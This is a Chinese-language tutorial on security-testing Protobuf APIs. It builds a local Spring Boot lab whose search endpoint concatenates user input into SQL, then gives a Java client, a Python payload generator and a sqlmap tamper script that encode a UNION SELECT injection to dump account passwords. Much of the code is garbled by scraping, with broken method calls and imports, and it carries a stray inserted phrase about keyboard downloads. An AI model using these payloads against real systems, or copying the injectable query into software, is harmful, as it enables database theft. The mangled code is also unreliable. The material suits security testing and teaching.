ProtobufAPI安全测试启⽰
ProtoBuf介绍
protocol buffers 是⼀种语⾔⽆关、平台⽆关、可扩展的序列化结构数据的⽅法,它可⽤于(数据)通信协议、数据存储等。
Protocol Buffers 是⼀种灵活,⾼效,⾃动化机制的结构数据序列化⽅法-可类⽐ XML,但是⽐ XML 更⼩(3 ~ 10倍)、更快(20 ~ 100倍)、更为简单。
因此具有以下特点:
语⾔⽆关、平台⽆关。即 ProtoBuf ⽀持 Java、C++、Python 等多种语⾔,⽀持多个平台
⾼效。即⽐ XML 更⼩(3 ~ 10倍)、更快(20 ~ 100倍)、更为简单
扩展性、兼容性好。你可以更新数据结构,⽽不影响和破坏原有的旧程序
Java API环境编写
这⾥使⽤的环境是ProtoBuf 3.12.0
<dependency>
<groupId&le.protobuf</groupId>
<artifactId>protobuf-java</artifactId>
<version>3.12.0</version>
</dependency>
商定的Proto协议如下,并将其放到resource⽬录下
syntax="proto2";
package com.mavenweb.vuln;
option java_package = "com.mavenweb.vuln.pojo";
option java_multiple_files=true;
option java_outer_classname="User";
message UserInfo
{
optional string name = 1;
}
如果不想通过protoc的⼆进制⽂件来⽣成对应的Java⽂件,可以跟我⼀样通过Maven插件的⽅式来⾃⽣成Java⽂件。⾸先添加如下插件内容到l⽂件中
<build>
<extensions>
<extension>
<groupId&d.maven</groupId>
<artifactId>os-maven-plugin</artifactId>
<version>1.5.0.Final</version>
</extension>
</extensions>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
<plugin>
<groupId&lstice.maven.plugins</groupId>
<artifactId>protobuf-maven-plugin</artifactId>
<version>0.6.1</version>
<configuration>
<protocArtifact&le.protobuf:protoc:3.12.0:exe:${os.detected.classifier}</protocArtifact>
<pluginId>grpc-java</pluginId>
<pluginArtifact&pc:protoc-gen-grpc-java:1.32.1:exe:${os.detected.classifier}</pluginArtifact>
<protoSourceRoot>src/main/resources</protoSourceRoot>
<outputDirectory>src/main/java</outputDirectory>
<clearOutputDirectory>false</clearOutputDirectory>
</configuration>
<executions>
<execution>
<goals>
<goal>compile</goal>
<goal>compile-custom</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
添加完成之后,打开IDEA,到Maven中的Protobuf插件
直接双击,⽣成好的Java代码就会输出到outputDirectory元素指定的位置
之后模拟真实环境编写⼀个数据库查询管理员信息的API接⼝
package com.ller;
le.protobuf.InvalidProtocolBufferException;
import com.mavenweb.vuln.pojo.UserInfo;
import com.mavenweb.vuln.service.SearchByName;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
import java.util.List;
@RestController
@RequestMapping("/")
public class ProtoController {
@Autowired
private SearchByName searchByName;
@GetMapping("/show")
@ResponseBody
public String show() {
return "Hello World";
}
@ResponseBody
@PostMapping("/search")
public String SearchByUsername(@RequestBody String body){
//Base64 解密
byte[] bytes = Decoder().decode(body);
try {
UserInfo info = UserInfo.parseFrom(bytes);
List<String> rs = Name());
String();
}catch (InvalidProtocolBufferException e){
e.printStackTrace();
}
return "haha";
}
}
getList的实现代码如下:
package com.mavenweb.vuln.service;
import com.alibaba.fastjson.JSON;
import org.springframework.beans.factory.annotation.Autowired;
import org.JdbcTemplate;
import org.RowMapper;
import org.springframework.stereotype.Service;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
@Service
public class SearchByName {
@Autowired
private JdbcTemplate jdbcTemplate;
public List<String> getList(String name) {
String sql = "select id,username,email,role from user where username = '" + name + "'"; return (List<String>) jdbcTemplate.query(sql, new RowMapper<String>() {
@Override
public String mapRow(ResultSet rs, int rowNum) throws SQLException {
List<String> listOfUserInfo = new ArrayList<>();
listOfUserInfo.add(String.Int("id")));
listOfUserInfo.String("username"));
listOfUserInfo.String("email"));
listOfUserInfo.String("role"));
JSONString(listOfUserInfo);
}
});
}
}
unicode keyboard download⾄此整个环境就搭建完成。
Burp安装Protobuf解析插件
这⾥我⽤的是Burp的python插件,在捕获请求的时候就会解析对应的protobuf数据流并呈现对应的键值。
设置好burp插件
但是还是发现有些许错误导致插件安装失败,这⾥我将我遇到的坑也记录下来
UnicodeDecodeError: 'unicodeescape' codec can't decode bytes in position 1-7: illegal Unicode character
错误是在protobuf/python/google/protobuf/internal/decoder.py⽂件的92⾏
_SURROGATE_PATTERN = repile(six.u(r'[\ud800-\udfff]'))
我的解决⽅案就是将[\ud800-\udfff]改成[\\ud800-\\udfff],再然后就是burp安装插件的时候Error输出
Error calling protoc:
原因是没有到你本地的protoc⼆进制⽂件
在py⽂件中将所有的路径前⾯都加上绝对路径就可以了
⼿动解析Protobuf数据流
但是不知道为何,我的ProtoBuf⼀直提⽰"Failed to parse input."。所以我这⾥就只好⾃⼰⼿动解析(说是⼿动解析,其实只是阅读了protoburp.py依葫芦画瓢写的)
protoc的--decode_raw参数是可以将获取的数据流信息以格式化的⽅式呈现出来
可以看到burp插件的关键代码中解析格式的源码如上图所⽰
编写解析代码如下:
import base64
import subprocess
try:
decoded_bytes = base64.b64decode("CgVhZG1pbg==")
process = subprocess.Popen(['F:\\Program Files\\protobuf\\bin\\', '--decode_raw'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
output, error = processmunicate(decoded_bytes)
print ("Result:\n" + str(output))
except KeyboardInterrupt:
pass
编写注⼊脚本
针对刚才的环境编写对应的数据包修改发送⼯具
import com.mavenweb.vuln.pojo.UserInfo;
import okhttp3.*;
import java.io.IOException;
import java.util.Base64;
public class TestMain {
public static void main(String[] args) {
UserInfo.Builder builder = wBuilder();
builder.setName("admin' and 1=2 union select 1,group_concat(id,\";\",username,\";\",password,\"=\"),3,4 from user #"); UserInfo userInfo = builder.build();
System.out.println("Send Payload:"+Name());
//序列化
byte[] bytes = ByteArray();
//Base64 加密
String encoded = Encoder().encodeToString(bytes);
sendPost(encoded);
}
public static void sendPost(String payload) {
OkHttpClient client = new OkHttpClient().newBuilder()
.build();
MediaType mediaType = MediaType.parse("text/plain");
RequestBody body = ate(mediaType, payload);
Request request = new Request.Builder()
.url("localhost:8080/search")
.method("POST", body)
.addHeader("Content-Type", "text/plain")
.build();
try {
Response response = wCall(request).execute();
System.out.println("Rs:"+response.body().string());
}catch (IOException e){
e.printStackTrace();
}
}
}
成功列出数据库中所有的账号密码,这个过程唯⼀重要的就是需要⼈⼯⾃⼰解释Proto⽂件的格式syntax="proto2";
package vuln;
message Msg
{
optional string username = 1;
}
然后执⾏
< -I=. --python_out=. ./msg.proto
会⽣成⼀个msg_pb2.py⽂件
编写⼀个Python的Payload⽣成脚本:
from base64 import b64encode, b64decode
import msg_pb2
import struct
def encode(array):
products = msg_pb2.Msg()
for arr in array:
products.username = str(arr)
serializedString = products.SerializeToString()
serializedString = b64encode(serializedString).decode("utf-8")
return serializedString
payload = encode([('admin\' and 1=2 union select 1,group_concat(id,";",username,";",password,"="),3,4 from user #')]) print(payload)
编写Sqlmap的Tamper
编写Tamper最主要的就是重写tamper函数,函数原型如下:
def tamper(payload, **kwargs)
这⾥的kwargs是⼀个字典,结构如下
{'headers': {}, 'delimiter': '&', 'hints': {}}
eaders就是⾃定义的请求头,⽽payload就是需要修改的payload。
根据上个⼩节的python⽣成payload脚本修改,编写如下tamper
data import kb
nums import PRIORITY
import base64
import struct
import msg_pb2
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
# Instantiating objects
products = msg_pb2.Msg()
products.username = payload
# Encoding the serialized string in base64
serializedString = products.SerializeToString()
b64serialized = base64.b64encode(serializedString).decode("utf-8")
retVal = b64serialized
return retVal
将编写好的tamper和proto⽣成的py⽂件⼀起放⼊sqlmap的tamper⽬录下并添加⼀个⽂本
POST /search HTTP/1.1
Host: localhost:8080
Content-Type: application/x-protobuf
Content-Length: 128
*
然后运⾏sqlmap
python sqlmap.py -r E:\ --tamper=protobuf_base64 --level 3 --dbs Reference
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论